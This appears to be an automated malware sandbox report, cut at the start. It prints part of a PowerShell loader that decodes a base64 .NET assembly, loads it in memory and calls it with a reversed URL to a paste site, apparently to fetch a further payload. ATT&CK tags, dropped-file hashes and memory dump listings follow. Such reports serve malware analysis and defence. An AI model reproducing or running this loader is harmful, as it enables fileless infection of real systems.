gBDAGwAYQBzAHMAMQAAB1IAdQBuAAAXXABSAGUAZwBBAHMAbQAuAGUAeABlAABFQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawAAF1wAdgA0AC4AMAAuADMAMAAzADEAOQAAe3QAeAB0AC4AMwAwAGUAcABtAHUAUgAvADMAMAAtAGUAcABtAHUAcgAvAHMAbQBlAHQAaQAvADIAMQAvAGcAcgBvAC4AZQB2AGkAaABjAHIAYQAuAHMAdQAuADMAMAA0ADEAMAA2AGEAaQAvAC8AOgBzAHAAdAB0AGgAAAB7TTTBAYwVSZntAFXQEk0BAAiwP19/EdUKOgi3elxWGTTgiQMgAAEHBhUSGAESDAcGFRIYARIIBwYVEhgBEhkHBhUSGAESFAIGHAMAAAEDBwEIBhUSGAESFAYVEhgBEggGFRIYARIMBhUSGAESGQQAABIMBCAAEwAEAAASCAQAABIZBAAAEhQDAAACBAAAEhAECAASDAQIABIIBAgAEhkECAASFAQgAQIcAyAACAQgABIlAyAADgcQAQEeAB4ABAcBHgACHgAFEAEAHgAECgEeAAcwAQEBEB4ABAABHBwFAAICHBwEAAEIHAYAARIlETUHBhUSOQETAAQHARMABhUSGAETAAYVEjkBEwACEwAECgETAAUgAQETAAMAABwEKAATAAMGEj0DBhJBAwYSHAQAABI9BCAAEkUGIAIBDhJFBAAAEkEFAAEBEkEEAAASHAQIABI9BAgAEkEDBhIgBAAAEiAGAAESSRJJBAgAEiADBhIoBAABAQ4KBwcOCA4IEk0OCAUgAg4ODgUgARJVDgUAAg4ODgQAAQ4OBQABARJNBQABARFhBAAAEmkFAAIBHBwFIAEBEmkFAAIcHBwEIAEODgQAABJtBQABHQUOBiABEkUdBQYAAhIlHBwFIAESJQ4GAAMcHBwcBiACHBwdHAQAABIoAgYIAwYSLAQAABIsCAEACAAAAAAABCABAQgeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAABiABARGAiQUBAAAAAAQgAQEOBCABAQIpAQAkNzkxNzJCMTMtRURCQS00MDk2LUI3MjUtOEU5MkI3MzBCMkJBAAAMAQAHMS4wLjAuMAAASQEAGi5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZRIuTkVUIEZyYW1ld29yayA0LjUYAQAKTXlUZW1wbGF0ZQgxMS4wLjAuMAAABSACAQ4OCAEAAQAAAAAABiABARGAvQQBAAAAEAEAC015LkNvbXB1dGVyAAATAQAOTXkuQXBwbGljYXRpb24AAAwBAAdNeS5Vc2VyAAATAQAOTXkuV2ViU2VydmljZXMAAEEBADNTeXN0ZW0uUmVzb3VyY2VzLlRvb2xzLlN0cm9uZ2x5VHlwZWRSZXNvdXJjZUJ1aWxkZXIIMTYuMC4wLjAAAFkBAEtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTYuMi4wLjAAABABAAtNeS5TZXR0aW5ncwAAYQEANFN5c3RlbS5XZWIuU2VydmljZXMuUHJvdG9jb2xzLlNvYXBIdHRwQ2xpZW50UHJvdG9jb2wSQ3JlYXRlX19JbnN0YW5jZV9fE0Rpc3Bvc2VfX0luc3RhbmNlX18AAAAHIAQBDg4ODgAAtAAAAM7K774BAAAAkQAAAGxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlUmVhZGVyLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkjU3lzdGVtLlJlc291cmNlcy5SdW50aW1lUmVzb3VyY2VTZXQCAAAAAAAAAAAAAABQQURQQURQtAAAAAAAAAAAAAAAAAAAAAIAAAAqAAAAjGYAAIxIAABSU0RT737bylVQZUqdcBZWCiRgrAEAAABDbGFzc0xpYnJhcnkzLnBkYgAAAAAAAAAAAAAA6GYAAAAAAAAAAAAA/mYAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPBmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYgAAA7AIAAAAAAAAAAAAA7AI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBEwCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAACgCAAABADAAMAAwADAAMAA0AGIAMAAAABoAAQABAEMAbwBtAG0AZQBuAHQAcwAAAAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAAAAAAAqAAEAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAAAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAAEQAEgABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMwAuAGQAbABsAAAAJgABAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAAAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAATAASAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBkAGwAbAAAACIAAQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAQNwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=';[Byte[]] $DvdYa = [System.Convert]::FromBase64String( $xcaOe.replace('ÐÐÐ','A') );[System.AppDomain]::CurrentDomain.Load($DvdYa).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('KE6C9xWh5CZx/daolnwod/moc.oietsap//:sptth'))"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

MD5
4ddf07dcd8d235041f5484380e78800a

SHA1
6b550550a7bd3858c70dcacca3a9f70dcd8ba92b

SHA256
ec75e5a557feb60daf387317d8b29eb176d2948ea308b08914e531460e82b7bc

SHA512
5be4e213c29f20fbb68daea3f941d42894cb15a9c9a9df4021ff36ee59657622a89c0740c048beeb44992d276f33abde0b036364f0e6f6cfaf79aa52ba5139cb

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

MD5
09be123d15e55670f69fd769c6b5e44f

SHA1
865d3fd1de6ff0c8f3fd692c3133dc768b40cf4d

SHA256
7e6d29c6bd4252e037f58bb79dd1e7b2de0640b22474996b91ae14f919167cd0

SHA512
992c772c1db486336fc393ab53449608d974cdd01240175aa9aee5a09aeda5bed5b1c5256028eb12ff0c7dcc62cfc30f9b0422fb2656ea4c586ef9e8d1413e65

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5
26575278851cb4f8fa2a396e44700f56

SHA1
f5d0ebda6b14000c457420e8e1edf527ac77de3b

SHA256
f9bc6d750ac2c73cc43369786e098af5186636b6c30b164fb7cd7dd626e38311

SHA512
82252ab2b519b6dffe750966eca3f0f1cf1310e6008f19790cdf9ca424cb903d8c9604593b3e68152616bf7baafb9f038d4a51cbb6241d29f32f500fb3516dd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\x.vbs

MD5
b13d1285b14daa7295969faebf0f66d9

SHA1
2482b3d64cbaa5eede15ee905345eff99c9ca560

SHA256
0b40128b38badc0c563d94c5f551b110a34f914c75fc83c490a1abc225ff68c5

SHA512
11506704c035b66f372f20c94c1aad6dd9fb035d5da8ed202522eddcf3d0f41f564331efc63facbd91111add02be85a579bffca6c3023ca0f27dd4a0de990974

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\F8AWUGPS.txt

MD5
3413a6ec90f523b3a858ef328712806f

SHA1
dd8f7f9af6e357fa8c4193623bbf6a9d7677f128

SHA256
6de35de0140bf9a0c88d4dedca02d379256409bedee3e97e7f711d3af767efbc

SHA512
370b49000788fd0fc77cdbe8f241256020f915816ab23eab947acdd5fce8621a9a8a8d3548317d707b669995d20e2b751af94cdf622e7aa713097106500cc929

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5
5166cccf72aaa0805cd8cb0859ef02cf

SHA1
0991acb6db58f6eb424ae2b1cdef07eb2f501331

SHA256
edddf98b4956a438f6c63c4753ae4cf549b2f1fa998e472089889a083dd9a611

SHA512
c86d3f2561445da69283d2a5713d3da2ce87558d285c99ef2a11709dbb4418a228e9505ee409f5a848f7806b49d4c4db1e73108ace898b2300be389f9e3ff493

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5
5166cccf72aaa0805cd8cb0859ef02cf

SHA1
0991acb6db58f6eb424ae2b1cdef07eb2f501331

SHA256
edddf98b4956a438f6c63c4753ae4cf549b2f1fa998e472089889a083dd9a611

SHA512
c86d3f2561445da69283d2a5713d3da2ce87558d285c99ef2a11709dbb4418a228e9505ee409f5a848f7806b49d4c4db1e73108ace898b2300be389f9e3ff493

Download Submit
memory/948-57-0x0000000000000000-mapping.dmp

Download
memory/948-59-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp

Filesize
8KB

Download
memory/1168-61-0x0000000000000000-mapping.dmp

Download
memory/1176-64-0x0000000000000000-mapping.dmp

Download
memory/1372-68-0x0000000000000000-mapping.dmp

Download
memory/1372-70-0x0000000002460000-0x00000000030AA000-memory.dmp

Filesize
12.3MB

Download
memory/1604-67-0x0000000000000000-mapping.dmp

Download
memory/1628-78-0x0000000000000000-mapping.dmp

Download
memory/1628-81-0x00000000022B0000-0x0000000002EFA000-memory.dmp

Filesize
12.3MB

Download
memory/1668-54-0x0000000074461000-0x0000000074465000-memory.dmp

Filesize
16KB

Download
memory/1668-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1668-60-0x0000000005A10000-0x0000000005A12000-memory.dmp

Filesize
8KB

Download
memory/1668-58-0x0000000075F81000-0x0000000075F83000-memory.dmp

Filesize
8KB

Download
memory/1668-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1668-55-0x0000000071551000-0x0000000071553000-memory.dmp

Filesize
8KB

Download
memory/1948-65-0x0000000000000000-mapping.dmp

Download
memory/1996-75-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads